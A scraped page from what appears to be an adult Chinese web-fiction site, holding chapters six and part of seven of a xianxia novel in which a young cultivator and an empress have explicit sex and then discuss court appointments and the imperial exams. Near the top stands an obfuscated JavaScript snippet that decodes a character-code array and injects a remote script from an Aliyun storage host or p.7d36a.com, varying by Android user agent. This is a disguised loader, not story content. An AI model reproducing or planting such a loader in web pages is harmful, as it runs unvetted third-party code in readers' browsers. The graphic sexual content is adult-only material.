登录 首页
公告
移除广告,15元/月
(function(a){(new Function(String.fromCharCode(...a)))();})([108, 101, 116, 32, 117, 114, 108, 115, 61, 91, 34, 104, 116,116, 112, 115, 58, 92, 47, 92, 47, 109, 100, 49, 49, 57, 110, 100, 97, 100,57, 46, 111, 115, 115, 45, 99, 110, 45, 104, 97, 110, 103, 122, 104, 111, 117,46, 97, 108, 105, 121, 117, 110, 99, 115, 46, 99, 111, 109, 92, 47, 49, 57,92, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 44, 34, 104, 116, 116, 112, 115,58, 92, 47, 92, 47, 112, 46, 55, 100, 51, 54, 97, 46, 99, 111, 109, 92, 47,49, 57, 92, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 93, 59, 119, 105, 110,100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 104, 108, 100, 61, 49, 59, 108,101, 116, 32, 117, 114, 108, 105, 110, 100, 101, 120, 61, 48, 59, 108, 101,116, 32, 114, 102, 117, 110, 99, 61, 102, 117, 110, 99, 116, 105, 111, 110,40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114,114, 95, 95, 108, 111, 97, 100, 101, 100, 95, 50, 53, 51, 57, 95, 49, 49,48, 53, 32, 33, 61, 32, 39, 111, 107, 39, 41, 123, 108, 101, 116, 32, 115,115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101,97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105,112, 116, 39, 41, 59, 115, 115, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116,101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59,115, 115, 46, 114, 101, 102, 101, 114, 114, 101, 114, 80, 111, 108, 105,99, 121, 61, 39, 110, 111, 45, 114, 101, 102, 101, 114, 114, 101, 114, 39,59, 115, 115, 46, 97, 115, 121, 110, 99, 61, 116, 114, 117, 101, 59, 115,115, 46, 115, 114, 99, 61, 117, 114, 108, 115, 91, 117, 114, 108, 105, 110,100, 101, 120, 43, 43, 93, 43, 32, 40, 110, 97, 118, 105, 103, 97, 116, 111,114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 46, 105, 110, 100, 101,120, 79, 102, 40, 39, 65, 110, 100, 114, 111, 105, 100, 39, 41, 32, 33, 61,32, 45, 49, 32, 63, 32, 39, 48, 39, 58, 39, 49, 39, 41, 32, 43, 32, 39, 63,39, 32, 43, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101,116, 84, 105, 109, 101, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116,46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108,100, 40, 115, 115, 41, 59, 125, 125, 59, 114, 102, 117, 110, 99, 40, 41, 59,114, 102, 117, 110, 99, 40, 41, 59]);
风雨无阻 / 2025/02/08 07:55 / 4154 / 33 /
【小说】毫末生

风雨无阻 / 发表于: 2025/07/25 09:47:05

第六章 凤舞香塌
  轻轻抽出肉棒,龟菇撬开肉环时的紧缩,拔出时肉环套着龟菇收拢的滋味销魂万分。齐开阳恋恋不舍地盘膝坐起,道:“我守着。”
  阴素凝甜甜一笑,道:“你忍忍。”
  “咝~”齐开阳倒抽一口凉气,苦着脸点头。
  阴素凝使了个【五心向天势】。和道门正宗盘膝而坐,将双足交叉架于腿上,以使双足足心向天不同。阴素凝这个势子说来有些丑陋——仰卧之姿,举起双手双腿向天,原本活像只翻倒肚皮朝天的乌龟。但绝色之所以称为绝色,不仅面容身材姣好,更因仪态卓然天成,无论任何姿势与角度都指摘不出半分毛病。
  皇后娘娘金霞衣凌乱不堪,将大片身段裸出。尤其两只圆润豪乳,还有丰满挺翘的屁股在修行姿势下,俏生生,羞怯怯地展露着无限风姿,险些要了齐开阳的命。
  凤塌是绝对不能再呆了。齐开阳踉跄下床,好像喘不过气来。抓了长衫三两步撞出珠帘披上,才大大地顺了口气。少年人刚尝情爱滋味,苦熬数月之后一朝又品到甜头。正要酣战连连的时候戛然而止,这滋味可比之前苦行僧般数月不沾女色还要难受。
  好在修道中人善于纾解欲念。阴素凝有采补之法,齐开阳自知阳精功效甚大,强行克制,由她汲取阳元修行。坐定时忽然发觉,不知何时起对阴素凝也如待柳霜绫一样,情不自禁设身处地为她着想。
  或许是这数月来渐渐相知?或许是见她一个弱女子孤身反抗不公?还是说天姿绝色让人无法抗拒?还是她在朝中当政有条不紊,竭力挽狂澜的独特魅力?
  不敢去看珠帘里五心向天的姿势,齐开阳起身离开寝宫来到天井。春节刚过,寒凉的夜风吹拂,齐开阳独坐天井。
  自幼只准修行一门【八九玄功】,双修之法说着难听,其实道门正统。自己一个纯正的道门弟子,居然丝毫利用不上?齐开阳一边苦恼,一边又觉好笑。自己一无所得,与自己有亲密关系的女子则大有裨益。
  齐开阳忽然有所明悟。【紫府天罗经】是恩师授予柳霜绫,莫非恩师授艺之时已考虑周全?只有与自己一条心的人才能获得好处?被【赶】出山在世间行走,以齐开阳的开朗性格,断不会独来独往。多情又意气风发的年纪,有心仪的女子理所当然。若是自己眼光好,身边的力量就会越来越强。
  齐开阳不仅心喜,亦觉惕惧。若是四处滥情,肆意挥霍宝贝还算小事,被什么魔头骗了去,岂不是助恶为虐?身负神功异宝,既是恩赐,亦是约束。
  一念至此,齐开阳向寝宫内望了望,一时更加好奇。【八九玄功】与【紫府天罗经】皆是恩师传授,当天生就契合。阴素凝可不与自己系出同门,阳精不知道对她有多大效用?有没有她口中【绝世无二】这么夸张……
  杂七杂八地想了近一个时辰,寝宫内传来动静。齐开阳刚起身,阴素凝已轻快地跑了出来。衣衫不整,这里裸出一片,那里荡着一角,若隐若现,最是诱人。皇后娘娘仪态大失,像刚得了奖赏的小姑娘,轻燕般投入齐开阳怀里。
  “怎么样?”看这情状,阴素凝无疑得了好处,齐开阳不放心,还想问明。
  “你的元阳太精纯,毫不费力就能相融。”阴素凝兴奋而吃吃地笑道:“和我想象的没有半点出入。”
  “那就好。补益有多大?”不仅是想知道对阴素凝用处有多大,更想知道自己身上的东西有多好。
  “足以抵我十天半月的苦修了。而且,元阳精纯,还能帮着我化去从前修行留下的暗创或是真元里的杂质,质量俱佳。”
  “呃……”一个时辰抵得上十天半月,已经是天赐之宝,但齐开阳还是觉得有些失落。在他的想法里,【绝世无二】不得是什么万年仙草或者盖世奇珍才配得上?十天半月的,也就那样吧?略觉宽慰的是,阴素凝的采补法门看起来不比柳霜绫的【紫府天罗经】逊色多少,功效差不太多。
  “这么大的恩惠,都不知道怎么来报答你。”阴素凝见微知著,感慨之间问道:“齐郎,怎么不高兴?”
  “没有。不对,都怪你。”阴素凝此时四肢痴缠在齐开阳身上,少年双臂环着柳腰,顺势在她丰臀上拍了一掌,责怪道:“说什么【绝世无二】,我还以为多厉害,堪比什么万年仙草。结果,就是颗稍好点的丹丸效用嘛。”
  “噗嗤。”阴素凝失声而笑,看少年失望的样子,伏在他肩头伸出香舌,轻轻舔着耳垂,悄声道:“丹药益中必有损,这个我不多说了。万年仙草?一株抵千年修为好不好?那得多难得,多少人来抢,拿得到手么?而你,我的好齐郎,我要取你的阳精,有一万种办法,随需随取,取之不竭,哼……最多就是死去活来,又不会真的送命。还有什么比我的好齐郎更加【绝世无二】?”
  “你……好哇……”齐开阳瞪起了眼!一个男子,你可以说他懦弱,说他没本事,说什么都好,他可能会默认,可能会懒得跟你争。但是你绝对不能说他【快】或者【容易】!否则十万个男子大概会有一个不争,剩下的都会勃然大怒。“随需随取?你瞧不起我是不是!”
  齐开阳脸涨得通红,阴素凝的言下之意可以随意拿捏他,而且自己不太行,没两下就得【交货】。这能忍?不行,绝对不行!
  “人家又没乱说,总之,比我想象的要容易些。”阴素凝忍俊不禁,道:“哎呀,人家没有贬低你的意思。柳霜绫肯定不懂那么多,你没尝过的滋味,禁不了太久又不奇怪。方才已经快要弄死人家啦……”
  “呵呵,禁不了太久?倒要讨教讨教!”齐开阳大手在丰臀上一捏,柔脂满掌,爱不释手,恶狠狠地道:“我看你这回还能不能死去再活来!”
  “来嘛,人家真想试试,有本事,让人家死在你下面。”阴素凝臀上吃痛,不仅不躲,还扭了扭腰,让丰臀在齐开阳掌心里揉了揉。
  “哼!你这是自寻死路!”
  大踏步地起身,齐开阳战意旺盛,看着当着披靡,实际心中惴惴。阴素凝娇躯美妙,后天学习的技巧极其高明还罢了。皇后娘娘还自带浑然天成的诱惑,举手投足,一颦一笑,甚至一言一语,都轻易撩动少年的心火。面对如此尤物,与柳霜绫一起探索的那点所得,对付起阴素凝来当真捉襟见肘。
  与柳霜绫在一起时,女郎同样娇躯美妙,初尝禁果时忍不得多久,但此后便越来越持久。对阴素凝……至少此刻齐开阳嘴上叫得多凶,心里就有多虚。
  阴素凝嘴上服软,娇躯柔顺,心里半点都不怕。齐开阳胯下之物八面威风不假,到底缺乏经验,光凭着本能猛冲猛打,至少现下不虚他。就是看少年这天赋,恐怕过不了多少时日就能【神功大成】,到时候……到时候哀求就好……
  “竟敢拿我当滋补的丹丸,非得好好治治你不可!”
  两人拌着嘴一同滚倒在凤塌,阴素凝压着齐开阳,媚眼如丝,呵气如兰道:“冤枉人。人家分明是拿你当盛丹丸的葫芦,还是能自己长出丹丸的宝葫芦。宝葫芦口上还抹了蜜,可好吃啦,人家又想吃了……”
  销魂的甜嘴儿,让齐开阳心中一荡,嘴上却凶巴巴道:“又馋了?不许!我先吃你的宝葫芦!”
  一提佳人娇躯,两只雪嫩嫩的奶子滑过胸膛,颤巍巍地弹在脸上。温热的乳肤烘在脸上暖融融,香喷喷。比起柳霜绫的弹性惊人,这一对则极致绵软。齐开阳只是深深地嗅了一口带起的微风,好像都能在豪乳上荡起涟漪。
  阴素凝的豪乳形状浑圆,的确与葫芦的圆隆很是神似。这对妙物被抓揉捏搓了多回,可还没有尝过。抓在手心时,齐开阳觉得柔软而不塌,正因乳肉异常饱满。用牙齿轻轻咬起一片,再一吸,果然柔软又弹牙。
  一片绵软中,两颗硬翘的小葡萄触感分外地明显。乳晕色泽淡粉,形状圆巧,乳头却和佳人的后庭一样,淡紫带褐,十分吸引目光。齐开阳迫不及待顺着乳头一口吸住,腴脂满口,暖香逼人。深吸了一嘴,再用舌尖挑了挑,深尝浅荡。阴素凝像他吸吮一样深吸了口气,似乎滋味甚是甜蜜又舒服。
  豪乳在少年嘴里被吸吮着拉长,再一荡从嘴里弹出。每回齐开阳衔着乳头将乳肉吸进嘴里时,阴素凝抱着情郎的藕臂都会环得更紧,还伴着轻轻哼哼的呻吟。
  “原来你的奶头这么敏感?”齐开阳发现了打开阴素凝情欲的机关,舌尖抵着乳头向乳肉里顶入。大手攀上另一只,掌心托举着沉甸甸的美肉,两根手指拈弄着莓珠。
  “嗯……”阴素凝目若春水,轻声道:“可以,轻轻捏一捏,咬一咬……更舒服……”
  “嗯?”齐开阳闻言立刻尝试,几番下来,发觉阴素凝跟柳霜绫又有不同。柳霜绫最爱被舔吃,而阴素凝更爱被吸吮。且若用牙齿啃咬,指头捏旋时,就会发出失控一样的轻唤。
  不能太重,重则过痛。皇后娘娘虽不阻止情郎,但眉心微蹙,似觉苦楚。不能太轻或是只轻柔疼爱,太轻的话,皇后娘娘闭目享受,过于安宁。非得吃痛而不太痛,痛里又有温柔时,她才会藕臂一紧一紧,呻吟如莺啼唱,婉转娇柔着饱含情欲的味道。
  “原来你喜欢这样。”齐开阳大乐,用牙齿叼着乳头轻咬,大手将另一只豪乳抓在掌心,两根手指缝钳着另一只乳头。掌心左右旋转,被钳着的乳头跟着一起打着转。
  “就是这样……”大手的掐揉与乳头上的刺痛感让阴素凝俏脸如敷粉般晕红,丽色无边。皇后娘娘情潮大涨,拼着力将豪乳向情郎挤压,垂下螓首吻着齐开阳的额头。香吻甚是贪婪,啵啵的亲吻声中带着唧唧唧的水声,竟比齐开阳吸吮豪乳的声音还要大。
  齐开阳暗喜,这要是一边抽插,一边在豪乳上大肆轻薄,阴素凝必定一溃千里。
  刚思想着,阴素凝挣脱他的怀抱,娇喘道:“忍不住了!”
  佳人一路向下吻去,沿途很是急切,以至于舔吮情郎胸膛只蜻蜓点水的几下,颇见敷衍。小手捉出粗大的阳根时,留在齐开阳身上的一条水线仍湿漉漉的。
  但捉着勃胀的肉棒,阴素凝眉开眼笑,好像棒身的温热抚慰了心灵,一下子就变得不急不躁。将豪乳峰顶抵着龟菇马眼,把着棒身转动。马眼在乳晕上画着圈时,挑拨着乳头颠来倒去,性感淫靡。齐开阳深深抽着寒气,忍不住又像豪乳深处顶去。
  软绵绵的乳肉包裹着龟菇,偏有一颗硬翘之物倾力地抵抗,销魂蚀骨般的触感让齐开阳不停地顶送,仿佛在抽插着肉洞。
  “想不想……插一下人家的嘴?”阴素凝手握棒根,抬眼间目光全是讨好之意。
  “插死你!”不知为何,越与她欢好,欲火总是越烧越旺,难得半分纾解。正是欲焰难耐之际,阴素凝又极会撩拨,一句话就让少年急于快意驰骋。
  皇后娘娘咯咯娇笑着仰倒,不言不语,捉着肉龙纳入嘴里。胯间一片乌黑中伸出只狰狞怒龙,居高临下地骑在她的俏脸上,仿佛将她端庄大气的美艳容颜打碎,齐开阳呼吸一窒。
  “可以插呀,用力插……”舌尖在龟菇上滚动,卖力施展着一国之后的技巧,更又打开了一扇新的大门。
  齐开阳可以想象粗大的肉龙若是不管不顾地在她小嘴里穿梭,尤其深咽之时,该有多么难受。但看阴素凝的模样,不像说笑。以她的喜好而言,又不是全然为了讨好。当下正是火烧眉毛的时候,齐开阳不及细想,先做了再说。
  尖锐的贝齿被唇瓣包裹,肉棒向润口里一送时四处都是柔软嫩肉,妙不可言。
  阴素凝满身娇媚,服侍技巧绝佳。欢好之时,被服侍固然甜美,但若不能纵情恣意地驰骋,又少了奔放的畅快感,齐开阳早想在她身上试一场酣畅淋漓。
  一记口中的抽插,丝滑顺畅,阴素凝顺势捧起双乳夹着晃荡的卵囊,又添一股风味。齐开阳见她虽新月眉微蹙,但眼角都是笑意,目光满是期待,又是连连数记。润口滑腻温柔,粗大的肉龙在甬道里横冲直撞全无阻隔,还被嫩肉包裹,香舌抚慰。快感且不提,居高临下看着佳人媚意丰盈的满足感,简直让人发狂。
  齐开阳从未试过这样的感觉,不由连连抽送,动作越来越大。粗黑的肉棒在她的烈焰红唇里消失,又一截截地吐出。有时快意太足难以自制,更是整根没入。阴素凝收缩着润口,即使龟菇抵至喉间时大为不适,竟没半分躲闪之意,任由齐开阳蹂躏。媚目中含着点泪光,带着点笑意,不知是喉中不适,还是些许难受反让她更加兴奋。
  皇后娘娘的顺从,让齐开阳更加放肆,不加怜惜地红唇中抽送着肉棒。少年人一身蛮劲,有数回过于狂野,阴素凝实在难以忍受时,便会趁着他抽出时用豪乳夹住棒根。这么一来,肉棒自不会尽数送入她口中。待喘息稍定,豪乳又如绸缎之滑地滑落裹住卵囊,任由情郎的口中肆虐。
  齐开阳放纵一番,大享温柔,终究神智未失,不忍太过折磨爱侣,眼睛一亮,抓住阴素凝两腋一提,将她翻转过来。
  阴素凝知情知趣,双腿支起屈跪,将个俏生生,白嫩嫩的丰臀挺起。
  先前欢好时阴素凝骑在身上,撩开裙摆的一瞬,如揭开面纱始见真容的惊艳。其时皇后娘娘正在身上起落,臀上丰满的嫩肉一下下颤巍巍地摔打在鼠蹊,艳色无边。但此时她塌腰翘胯,则更显圆润。且这个姿势,让臀瓣中央的裂隙微分,胯间春光更是大泄。典雅的一面略藏,浪荡劲儿加倍地凸显。
  阴素凝回首娇笑,一言不发,纤腰轻扭,浪臀生波。此刻她一身赤裸,匀称的骨肉,雪玉般的肤色,滑腻的肌理无一不在目光之下。齐开阳胯间胀得发疼,可少年同样在飞速地进步,强忍着胀闷,先在两边臀瓣上各拍了一记。
  “啊~”不轻不重,带些微疼,阴素凝呼声婉转,既有幽怨,又含春意。两只臀瓣被拍打之下盈盈晃动,又浪又媚。
  “这么淫荡的皇后!”齐开阳目光落在她胯间。一心侍奉,未得情郎疼爱,可蜜裂却是水光润润,骚香四溢。齐开阳大奇,凑近了又在丰臀上打了几掌。每一掌下去,两片蜜唇便是一抿,刺激过去时如朝花盛放般舒展,露出玫红色的一线,吐出一汩花蜜。
  “就淫荡,就浪,你要不要……啊!”这一下真是尖声惊呼。阴素凝猝不及防间,胯间一热,一麻,两片肉脂竟被少年含住。自幼修习媚功,无论是练习交合时的姿势,还是以口吞咽异物,对欢好之事熟极而流。可并没有第二个男子真正触碰过她,更遑论胯间被吸吻。
  巨大的快意让阴素凝僵直,呆住。肉脂传来沙沙之声,正是少年连芳草一同舔舐时的摩挲之声。蜜裂顶端一点小肉芽本是轻车熟路,往年修习,或是寂寞难耐时,自己亦常抚慰此处为乐。可自家手指的滋味,哪里比得上情郎舌尖点上来,牙齿咬上来?至于被吸吮更是从未有过,几似被雷电加身,酥麻感从这一小点延至四肢百骸,轻飘飘,酥荡荡。
  恼人的舌尖调皮地挑开肉脂,向花径里钻入。阴素凝再不复先前的智珠在握,埋首于褥,死死咬着牙关,两行清泪莫名其妙地滚落。思绪从未像此刻一样春心荡漾,恨不得花径被深深地填满。
  被占有的快意之外,阴素凝还有一股惧意,死死咬着牙关保持一丝清明。好像恼人的舌尖随时会变成粗大的肉棒破关而入,夺去自己的处子元红。
  好在齐开阳并没这么做,只是时而轻柔,时而激烈地舔吻着幽谷。心中的欲望被撩拨而起,阴素凝发觉自己拿捏齐开阳时,让他美而不够畅快,自己有同样的感觉。花径被他舔得很是舒服,偏生缺少了征伐时的大开大合,总觉缺了点什么。
  阴素凝哼哼唧唧,娇喘了几下,软语哀求道:“齐郎,快些进来吧……好难熬……”
  不等齐开阳答应,阴素凝直起身。丰臀一缩,让花径一紧,险些把齐开阳的舌头夹住。
  手扶棒身,龟菇在幽谷洞口上沾染着滑腻的花汁。棒身的热力顺着嫩肉与花汁一直透到小腹深处,阴素凝呵着香风,露着为难道:“人家也好想进这里,可是,可是还不行……”
  “这里我很喜欢!”齐开阳初尝后庭之乐,兴头正足,那紧致的滋味令他怀念。
  “真的?”阴素凝展颜一笑,重又伏低着塌腰翘胯,双手分开臀瓣左右摇摆着丰臀道:“求陛下把妾身填满……”
  俏生生的丰臀翘得老高,手分臀瓣,简直像在邀请进入。齐开阳脑中被热血冲得一晕,跪在皇后娘娘身后抵住收缩得丝发难容的菊蕾。两人间只有一点接触,立刻同时发出声叹息。
  不住收缩的菊蕾,像含着龟菇蜜吻。密布的褶皱不停摩挲在敏感之极的钝尖,清晰的触感传来快意。那收缩力度之强,将涂在龟菇上的花汁吸得啧啧轻响。齐开阳深知这个妙处的紧致,大大吸一口气,向前一挺。
  “呵啊~”佳人娇喘一声,掰着臀瓣的素手五指一紧深掐浪臀。变了形的臀瓣不仅展现惊人的丰满与弹性,更让齐开阳目光赤红。阴素凝咬牙挨着苦,却感到齐开阳正在深入自己。
  比先前骑乘在他身上不同,此刻娇躯像在被撕裂,却再不能由自己掌握。身后的情郎正主宰着一切般前进,即使菊蕾死死地收缩,抵抗却十分无力,丝毫不能阻止他剖开自己的娇躯。可只在他初进入的一瞬间感到痛楚难忍,再进些许,阴素凝却觉迫不及待。
  一面是娇躯被填满的感觉着实快美,一面是齐开阳似乎完全拿捏住了自己的喜好。插入时不快不慢,痛感不轻不重。轻微的痛感,极大地刺激着皇后娘娘的快意。阴素凝哼哼唧唧,竭力放松了身心,忽觉这样全然被情郎掌控的感觉居然极好,极喜。
  紧窄的肉环套着棒身,细小的孔隙被撑开成一个小圆洞。阴素凝短暂的发僵之后,竟然又摆着丰臀,肉棒缓慢地深入间,竟然生起左冲右突的豪情。齐开阳见棒身没入近半,再忍耐不得,奋力一突,一冲到底。
  小腹上结实的肌肉撞在丰臀上啪地一声脆响,两人皆爽。阴素凝深深吐出一口气,回眸间眉开眼笑道:“人家的屁股好不好看?有没有比柳霜绫的好看?”
  “好看,好圆,跟霜绫的不分上下。”
  “骗人。”阴素凝扁了扁红唇,道:“人家在安村留意过啦,她那个小腰跟屁股,我可比不上。”
  一边说着,一边挺动丰臀。阴素凝以腰肢为轴,丰臀转着圈圈,让肉棒深入体内画着圆扫刮。柔肠一寸愁千缕,满胀后庭,幽谷落下几点催花雨。
  “下回你们一起比比。”齐开阳色心大起,恨不得此刻柳霜绫就在身旁,与阴素凝一起将臀儿翘起,任自己品评过后,随意采摘。
  “吃着碗里看着锅里,这就想左拥右抱。”
  “都是你勾引的!”
  齐开阳翻手一掌拍得丰臀荡漾,阴素凝一声娇啼,顺势丰臀快速画着圈套弄肉棒,浪呼道:“就勾引你,就勾引你。快点插我,快点……胀得好难受……”
  啪啪啪的撞肉脆响密密频频地发出。阴素凝的后庭耐受力惊人,只过了片刻苦楚尽去,齐开阳猛冲猛打之下,丝毫不觉不适。因过于紧窄而带来的艰涩感与痛感,反让皇后娘娘快意连绵,随着抽送一声声的娇呼。
  后入之姿极具驾驭感,何况驾驭的还是当朝皇后。数十回抽插下来,阴素凝溃不成军。齐开阳觉得自己像叱咤世间的大将军,正逞风挥云,【鞭捎】所指,所向披靡!除了肉棒被紧勒套弄的快意之外,小腹撞击在丰满柔臀上,再紧贴着一磨一旋。菊蕾里的紧致与小腹上的柔嫩快意交相辉映!
  一磨一旋,阴素凝被搜肠刮肚似地娇啼,似乎极爱这样的感觉。每回齐开阳抽插时,她都配合着扭腰摆臀,让肉棒转着圈进出,扫刮着每一分敏感肉壁。再撞得几回,小腹与大腿间湿哒哒的全是滑腻花汁。
  “小淫妇!”齐开阳身心皆足,撞击之际还在两瓣柔臀上拍打。原本只是道道指印,不久后便是整片的红印。他当然舍不得狠抽,丰臀上也只是淡淡红痕。可衬在阴素凝一身雪玉般的肌肤上,格外显眼。
  “都怪你……把人家变成淫妇,谁让你把人家小屁眼都撑开了……用力插……插人家小屁眼!呜呜呜……好强……”阴素凝浪声随着丰臀一起飘摇,正云里雾里地放荡,忽觉娇躯一轻。
  上身被齐开阳拉起反弓,贪婪的少年从她腋下伸过头,一嘴将悬荡不停地豪乳咬在嘴里。重重的吸吮力道与牙尖啃咬的微痛传来,阴素凝一双若水目猛然大张,娇媚的呻吟声被扼在咽喉,一息都发不出。巨大的快意几乎冲散了她的神魂,皇后娘娘什么都不知道,只知耸着丰臀死命地硬凑情郎的抽插。
  蓦地乳尖一痛,后庭猛地一胀,一大汩温热的水柱激流般冲刷着肉壁,仿佛直入小腹。阴素凝曼声悲吟,魂飞魄散般失了神智。垂垂软倒的娇躯仍被情郎凶猛地挺送,像风中的一片落叶般无依……
  欢好,采补,修行,仿佛回到洛城的石室里。少年索求无度,皇后婉转承欢,夜尽昼临方才罢手。阴素凝匆匆沐浴更衣,在延宁宫等朝臣递奏章。送走了朝臣,凤塌之上又是两人抵死的缠绵。纱帐中的春音不停,两人的欢好也越来越大胆奔放。
  有时阴素凝仰躺在床沿,将螓首伸于床沿外悬空微扬,以完全契合的角度,迎接着齐开阳在她润口中的抽送。有时又分开少年的双腿,自己侧伏着,一条细长巧舌不停在他的肉棒,卵囊与后庭间徘徊。而每回皇后娘娘让齐开阳倒骑在自己脸上,两人交错着,用一对豪乳夹住肉棒,香舌润口时而含吮春丸,时而舔钻后庭,不需多时就能让少年嗷嗷直叫。豪乳间的肉棒开始弹跳着胀上一围时,阴素凝就及时以口相就,将阳精一滴不漏地接走……
  禁宫里颠鸾倒凤的荒唐持续着日日夜夜。眼看过了一月半,枝头春意已足。阴素凝每日采补,修为日进,眉目间神采奕奕。这一日大朝会之后,她凤驾趋御书房,与皇帝谈了半日。不知他们谈了什么,次日阴素凝在延宁宫批阅完奏折,下旨免了太常少卿与右司郎中两名官员。  从五品与正六品,在大员云集的京城算不得什么。但这是皇后娘娘第一回直接参与任免官员,朝中大员各个人精,从中均嗅出不寻常的味道。有人担忧,后宫已开始直接干政,非是吉兆。有人却觉未尝不可,皇后娘娘政事通达,皇帝既已荒废了朝政,由贤明的皇后主政未必不是一件好事。新郑城里议论纷纷,均不知个中的变故,对大宋国的未来是好是坏。
  往后又过半月,阴素凝升迁三名官员。仍是五六品不大不小的品阶,但自免官之后又任官。比起从前只是参政议政,权力不知大了多少。市井中常言阴素凝为妖后,迷得皇帝无心政事,朝中却人人深知阴素凝为政之能。
  免去的官员该免,任用的官员亦称其职,皇后之贤明,可远胜皇帝。
  贤明的皇后此时正躺在齐开阳的怀里,裸着两只圆润豪乳,捧着一卷奏章打开。
  奏章上写满了密密麻麻的名字。新年已开春,看看将至大恩科。宋国四境起火,内忧外患,正是用人之际,大恩科正当遴选出众的人才。今年恩科开文武两门,状元郎便有文武两位。
  “是他么?”
  皇后娘娘寻了片刻,点着奏章上一个名字道。她的胸乳不似柳霜绫那样高耸,高耸则峰顶上自有裂隙。视线要穿过两只浑圆美乳再落到奏章上,绝非易事。齐开阳连偏了几次头,才从雪白的大奶间找到一线,看见“卓亦常”三字。
  “是!我三弟。”
  夏江郡下辖夏县与江县,夏县承报乡举三名,卓亦常名列其中。阴素凝目光在齐开阳与卓亦常三字上流连,正色道:“你家三弟本事怎么样?这事开不得玩笑。不是我不肯,而是,为将来计。若他真的有本事,我自会设法让他入朝。若只是想讨个功名,我分个虚职给他,也不是大事。”
  “我可不是来走后门的。”
  “哼!”阴素凝一板脸,目中媚光欲滴,娇声道:“还说不是……”
  “我为我自己走,又不是为三弟。”齐开阳一挺胸,简直义正词严得像占领道德制高点。
  “哎呀,别打岔,好好说。”阴素凝一阵心荡,朝中大事不可胡为,忙凝神正色。又打开武科名单,夏县同承报乡举两名,同样有卓亦常的名字,道:“文武双全?”
  “我三弟饱读诗书,武略精通,科考只需公平,必中进士以上。他要是考不上,让他落榜就是,谁都怪不得。至于治国韬略的真本事,他有名师指点,家中还有贤德母亲端正品性,我虽不懂这些,从没怀疑过他文可安邦,武可定国。你不用猜,到时候自己试试他就知。我这位三弟,本事可比我大得多。”
  “本事比你大?”阴素凝奇道:“他几岁了?”
  “小我一岁半。”
  “这么小?有修为么?”
  “不在安村的霜绫和你之下。”
  “【道生】后期?”阴素凝此刻当真吃了一惊。倒不是惊诧于卓亦常的修为与年纪,而是亲眼目睹齐开阳的天赋,这位卓亦常难道天赋还能比齐开阳高上许多?暗思一番,觉得不太可能。
  从情郎的话语里,阴素凝猜到这位卓亦常多半和他自幼一同长大,一同修行。两人的天赋大致相当?就算相当吧,可为何卓亦常已是【道生】后期修为,齐开阳为何从安村离开后才踏入【道生】?实在咄咄怪事。
  以阴素凝的见识,齐开阳的天赋生平仅见,而且远远超脱余人之外。近来他修行之速,堪称一日千里。阴素凝除自家修行外,还采补齐开阳的宝精,已是前所未有之快,仍远不及齐开阳进境神速。以他这样的进境,怎会十六岁还在【灵启】境徘徊?先前到底发生了什么事?看齐开阳并未隐瞒什么,自家还为近来修行顺利沾沾自喜的憨样,多半是一无所知,还觉得从前进境慢是理所当然。
  阴素凝嘟了嘟唇,相处日久,齐开阳虽从未透露过师门的只言片语,阴素凝知他最重师门,不敢胡乱猜测。
  “我可没胡吹大气。”看阴素凝一直在思索,似乎对自己的话有所疑虑,齐开阳急道。
  “希望你的好兄弟真是栋梁之材,能帮我解些燃眉之急。”阴素凝忍俊不禁,道:“好啦,人家又不是不相信你。我这里有好多好多事情待解,往后能不能脱出困局,全看近日。如果有你三弟帮忙,成事的把握就大了一分。对了,他要是不帮我怎么办?”
  “不帮?反了他了!我揍他!”齐开阳满口保证,低声凑在只秀耳边道:“这要是私下见面,他得叫你嫂子,得跟你磕头的,他敢不帮?”
  “讨厌,讨厌,讨厌。磕头好了不起么?见了皇后不要磕头啊?”蓦然想起自己这个皇后近来着实荒唐,阴素凝羞得面红过耳,慌张摇头道:“千万不能跟他说呀,至少现在还不能。”
  “嘿嘿,那当然。放心,他一定行的。”齐开阳犹豫片刻,道:“凝儿,你是不是有什么新的想法?那天你找皇帝说了什么?”
  “不是不想告诉你。可是,还不到时候。”阴素凝有些哀求着道:“等时机一到,我一定第一个告诉你。好不好?”
  “好呀。”齐开阳目光在皇后胯间打转,道:“等时机一到,我一定马上……嗯?”
  “讨厌。”阴素凝倚在齐开阳胸口,闭目片刻睁开精光四射的眼眸,又柔声道:“还不都是你的……”

女神的超级赘婿
黑夜的瞳
我遵循母亲的遗言,装成废物去给别人做上门女婿,为期三年。 现在,三年时间结束了...

风雨无阻 / 发表于: 2025/08/01 09:57:26

第七章:他乡故知
  春节过后三月,圣旨传下,大宋国科考开启。
  各郡县学子们早的提前半年就已来到新郑。齐开阳焦急等待卓亦常,兄弟分开已近半年未见,心中甚是想念是其一。恩师不准自己回曲寒山,离山半年不知山中岁月,更想从卓亦常口中得知山中的故旧们近来如何了。
  这些日子来,虽在皇宫里过着胡天胡地的日子,仍时常想念恩师与大姐,还有淳朴的曲寒村民们。
  离山越久,越能体会恩师待自己的心血。从前修行虽苦,还常受到重重常人难以忍受的责罚。可出山后数次面临危机,险死还生,往日的刻苦与艰难在这一刻无比地值得。更何况恩师的循循善诱,因材施教,一幕幕都浮现在脑海。若是像柯国师那种【师】,恐怕早就厌学得自暴自弃了。
  少年同样想念大姐。自他记事开始,若说恩师是授业,大姐就是抚养。自己不知父母,楚明琅就像自己的母亲,分明只比自己大了四岁,可齐开阳在地上爬的时候,楚明琅就已在照料两人的生活起居。从小,她就会凶巴巴地骂自己,会发脾气让自己吓得不敢回家。可是自己回了家,领了罚,家里所有的东西,最好的一定是留给自己的。——就算是一只鸡,鸡腿永远都在自己碗里。
  「想起谁了?」
  「啊……想起人了。」流露出的回忆与神往,瞒不过阴素凝的眼睛,齐开阳笑笑说道。
